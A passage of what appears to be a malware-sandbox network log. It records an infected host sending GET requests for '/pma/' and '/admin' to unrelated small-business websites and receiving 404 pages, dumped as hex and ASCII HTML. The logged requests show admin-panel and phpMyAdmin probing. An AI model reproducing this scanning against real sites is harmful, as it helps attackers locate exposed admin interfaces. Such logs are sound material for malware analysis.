2023-12-20 02:13:33 UTC	137	IN	Data Raw: 75 6e 74 69 6d 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 Data Ascii: untime-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.1
2023-12-20 02:13:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:33 UTC	1647	IN	Data Raw: 36 36 33 0d 0a 35 2e 30 27 20 69 64 3d 27 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 31 36 39 64 33 63 66 38 65 38 64 39 35 61 33 64 36 64 35 27 20 69 64 3d 27 77 70 2d 68 6f 6f 6b 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d Data Ascii: 6635.0' id='wp-polyfill-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5' id='wp-hooks-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.4	62119	198.185.159.144	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	172	OUT	GET /pma/ HTTP/1.1 Host: www.qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	539	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:32 GMT Etag: W/"d3b928bd5836fb6282df4e5a69977809" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BZd6bYWqITkbMWIyYmQyN2JmYTA2ODNkMjFhYTRmNjE5ZmUzMGVi;Secure;Path=/ Strict-Transport-Security: max-age=15552000 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: 28eaAkNv/58EQu8Vg X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:33 UTC	647	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:33 UTC	2372	IN	Data Raw: 63 6f 6e 2e 69 63 6f 3f 66 6f 72 6d 61 74 3d 31 30 30 77 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 69 6d 61 67 65 73 2e 73 71 75 61 72 65 73 70 61 63 65 2d 63 64 6e 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 76 31 2f 36 31 65 Data Ascii: con.ico?format=100w"/><meta property="og:site_name" content="Qi Habitats"/><meta property="og:title" content="Qi Habitats"/><meta property="og:type" content="website"/><meta property="og:image" content="http://images.squarespace-cdn.com/content/v1/61e
2023-12-20 02:13:33 UTC	538	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 40 73 71 73 2f 70 6f 6c 79 66 69 6c 6c 65 72 2f 31 2e 36 2f 6d 6f 64 65 72 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b Data Ascii: <script type="text/javascript" crossorigin="anonymous" defer="defer" src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script><script type="text/javascript">SQUARESPACE_ROLLUPS = {};</script><script>(function(rollups, name) { if (!rollups[
2023-12-20 02:13:33 UTC	4744	IN	Data Raw: 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 72 75 6e 74 69 6d 65 2d 39 65 32 36 63 32 65 38 65 65 35 65 30 32 65 34 39 32 34 65 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 29 20 7b 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 20 3d 20 7b 7d 3b 20 7d 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 2e 6a 73 20 3d 20 5b 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 Data Ascii: espace.com/universal/scripts-compressed/extract-css-runtime-9e26c2e8ee5e02e4924e-min.en-US.js" defer ></script><script>(function(rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-c
2023-12-20 02:13:33 UTC	5930	IN	Data Raw: 6e 64 65 72 69 6e 67 2d 75 74 69 6c 73 2d 61 39 62 32 66 62 30 37 34 38 62 30 36 32 32 32 36 33 32 62 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 66 6f 72 6d 73 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 65 36 36 31 30 65 35 32 38 64 36 66 39 32 66 64 35 30 33 31 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 35 61 32 34 62 35 38 32 38 35 61 65 63 30 65 61 Data Ascii: ndering-utils-a9b2fb0748b06222632b-min.en-US.js"},"squarespace-forms":{"css":"//assets.squarespace.com/universal/styles-compressed/forms-e6610e528d6f92fd5031-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/forms-5a24b58285aec0ea
2023-12-20 02:13:33 UTC	7116	IN	Data Raw: 75 65 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 69 65 73 53 75 70 70 6f 72 74 65 64 22 3a 5b 22 55 53 44 22 2c 22 43 41 44 22 2c 22 47 42 50 22 2c 22 41 55 44 22 2c 22 45 55 52 22 2c 22 43 48 46 22 2c 22 4e 4f 4b 22 2c 22 53 45 4b 22 2c 22 44 4b 4b 22 2c 22 4e 5a 44 22 2c 22 53 47 44 22 2c 22 4d 58 4e 22 2c 22 48 4b 44 22 2c 22 43 5a 4b 22 2c 22 49 4c 53 22 2c 22 4d 59 52 22 2c 22 52 Data Ascii: ue":false,"showShippingPhoneNumber":true,"isShippingPhoneRequired":false,"showBillingPhoneNumber":true,"isBillingPhoneRequired":false,"currenciesSupported":["USD","CAD","GBP","AUD","EUR","CHF","NOK","SEK","DKK","NZD","SGD","MXN","HKD","CZK","ILS","MYR","R
2023-12-20 02:13:33 UTC	8302	IN	Data Raw: 74 72 69 63 73 22 2c 22 63 72 6d 5f 72 65 6d 6f 76 65 5f 73 75 62 73 63 72 69 62 65 72 22 2c 22 73 75 70 70 6f 72 74 73 5f 76 65 72 73 69 6f 6e 65 64 5f 74 65 6d 70 6c 61 74 65 5f 61 73 73 65 74 73 22 2c 22 73 63 72 69 70 74 73 5f 64 65 66 65 72 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 67 6c 6f 62 61 6c 5f 75 63 5f 61 62 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 69 6d 70 6f 72 74 5f 64 69 73 63 6f 75 6e 74 73 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 6b 75 70 5f 72 65 61 64 79 5f 65 6d 61 69 6c 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 69 6d 61 67 65 5f 63 6f 6d 70 6f 6e 65 6e 74 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 63 6f 6d 6d 73 70 6c 61 74 5f 66 6f 72 6d 73 Data Ascii: trics","crm_remove_subscriber","supports_versioned_template_assets","scripts_defer","campaigns_global_uc_ab","campaigns_import_discounts","send_local_pickup_ready_email","marketing_landing_page","image_component","show_add_to_cart_in_plp","commsplat_forms
2023-12-20 02:13:33 UTC	3125	IN	Data Raw: 6b 2d 6f 76 65 72 6c 61 70 2d 69 6e 6c 69 6e 65 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 30 2e 35 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 4c 69 67 68 74 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 4c 69 Data Ascii: k-overlap-inline-link-color:hsla(var(--black-hsl),1);--image-block-overlay-color:hsla(var(--black-hsl),0.5);--image-block-poster-image-button-bg-color:hsla(var(--safeLightAccent-hsl),1);--image-block-poster-image-button-text-color:hsla(var(--safeInverseLi
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 6c 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e Data Ascii: 8000le-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-simple-card-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-simple-card-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section
2023-12-20 02:13:33 UTC	11860	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6d 65 74 61 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 Data Ascii: l),1);--tweak-blog-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-meta-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-blog-item-title-color:hsla(var(--black-hsl),1

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.4	62147	198.185.159.144	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	170	OUT	GET /admin HTTP/1.1 Host: www.rosetre.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	474	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:32 GMT Etag: W/"6489318175bdb8a8994fb802892e57ee" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BeSB7aCm4Ax4ZWRhMGFkYWRjNjA2MGMwNDg0MjQ1OTRiYTFhNmE3;Secure;Path=/ Strict-Transport-Security: max-age=0 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: tR8mr85v/JXZbtzLy Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:32 UTC	712	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:32 UTC	2372	IN	Data Raw: 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 73 65 74 72 65 20 4b 65 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 6d 61 67 65 5f 73 72 63 22 20 68 72 65 66 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a Data Ascii: nnels"/><meta property="og:type" content="website"/><meta property="og:image" content=""/><meta itemprop="name" content="Rosetre Kennels"/><meta itemprop="thumbnailUrl" content=""/><link rel="image_src" href="" /><meta itemprop="image" content=""/>
2023-12-20 02:13:32 UTC	538	IN	Data Raw: 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 6d 6f 6d 65 6e 74 2d 6a 73 2d 76 65 6e 64 6f 72 2d 66 33 36 62 36 64 63 39 38 36 37 61 64 30 62 38 64 30 61 38 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 65 78 74 72 61 63 74 5f 63 73 73 5f 6d 6f 6d 65 6e 74 5f 6a 73 5f 76 65 6e 64 6f 72 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 Data Ascii: ipts-compressed/extract-css-moment-js-vendor-f36b6dc9867ad0b8d0a8-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/extr
2023-12-20 02:13:32 UTC	4744	IN	Data Raw: 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 63 6c 64 72 5f 72 65 73 6f 75 72 63 65 5f 70 61 63 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 63 6c 64 72 2d 72 65 73 6f 75 72 63 65 2d 70 61 63 6b 2d 61 36 38 32 66 37 61 64 33 33 37 37 34 31 65 62 30 35 64 36 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 Data Ascii: ]; })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-a682f7ad337741eb05d6-min.en-US.js" defer ></script><script>(function(rollu
2023-12-20 02:13:33 UTC	5930	IN	Data Raw: 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 70 69 6e 74 65 72 65 73 74 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 31 65 34 34 39 36 39 33 37 63 63 64 35 35 64 61 38 34 62 37 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 33 63 31 34 36 64 35 37 33 36 32 33 61 64 36 36 64 30 36 33 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 Data Ascii: S.js"},"squarespace-pinterest":{"css":"//assets.squarespace.com/universal/styles-compressed/pinterest-1e4496937ccd55da84b7-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/pinterest-3c146d573623ad66d063-min.en-US.js"},"squarespac
2023-12-20 02:13:33 UTC	7116	IN	Data Raw: 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 64 69 73 70 6c 61 79 49 6d 70 6f 72 74 65 64 50 72 6f 64 75 63 74 52 65 76 69 65 77 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 68 61 73 4f 70 74 65 64 54 6f 43 6f 6c 6c 65 63 74 4e 61 74 69 76 65 52 65 76 69 65 77 73 22 3a 66 61 6c 73 65 7d 2c 22 69 73 4c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6d 75 6c 74 69 70 6c 65 51 75 61 6e 74 69 74 79 41 6c 6c 6f 77 65 64 46 6f 72 53 65 72 76 69 63 65 73 22 3a 74 72 75 65 7d 2c 22 75 73 65 45 73 63 61 70 65 4b 65 79 54 6f 4c 6f 67 69 6e 22 3a 74 72 75 65 2c 22 73 73 42 61 64 67 65 54 79 70 65 22 3a 31 2c 22 73 73 42 61 64 67 65 50 6f 73 69 74 69 6f 6e 22 3a 34 2c 22 73 73 42 61 64 67 65 56 69 73 69 62 69 6c 69 74 79 22 3a 31 2c 22 73 73 42 61 64 67 65 44 65 76 69 Data Ascii: Enabled":false,"displayImportedProductReviewsEnabled":false,"hasOptedToCollectNativeReviews":false},"isLive":false,"multipleQuantityAllowedForServices":true},"useEscapeKeyToLogin":true,"ssBadgeType":1,"ssBadgePosition":4,"ssBadgeVisibility":1,"ssBadgeDevi
2023-12-20 02:13:33 UTC	8302	IN	Data Raw: 64 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 6f 76 65 72 72 69 64 65 5f 62 6c 6f 63 6b 5f 73 74 79 6c 65 73 22 2c 22 63 75 73 74 6f 6d 69 7a 65 5f 69 74 65 6d 5f 70 61 79 77 61 6c 6c 69 6e 67 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 64 69 73 63 6f 75 6e 74 5f 73 65 63 74 69 6f 6e 5f 69 6e 5f 62 6c 61 73 74 73 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 79 70 65 6e 61 6d 65 5f 73 77 69 74 63 68 69 6e 67 22 2c 22 6d 65 6d 62 65 72 5f 61 72 65 61 73 5f 73 70 61 6e 69 73 68 5f 69 6e 74 65 72 76 69 65 77 73 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 74 68 75 6d 62 6e 61 69 6c 5f 6c 61 79 6f 75 74 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 Data Ascii: d","show_add_to_cart_in_plp","override_block_styles","customize_item_paywalling","campaigns_discount_section_in_blasts","marketing_landing_page","collection_typename_switching","member_areas_spanish_interviews","campaigns_thumbnail_layout","send_local_pic
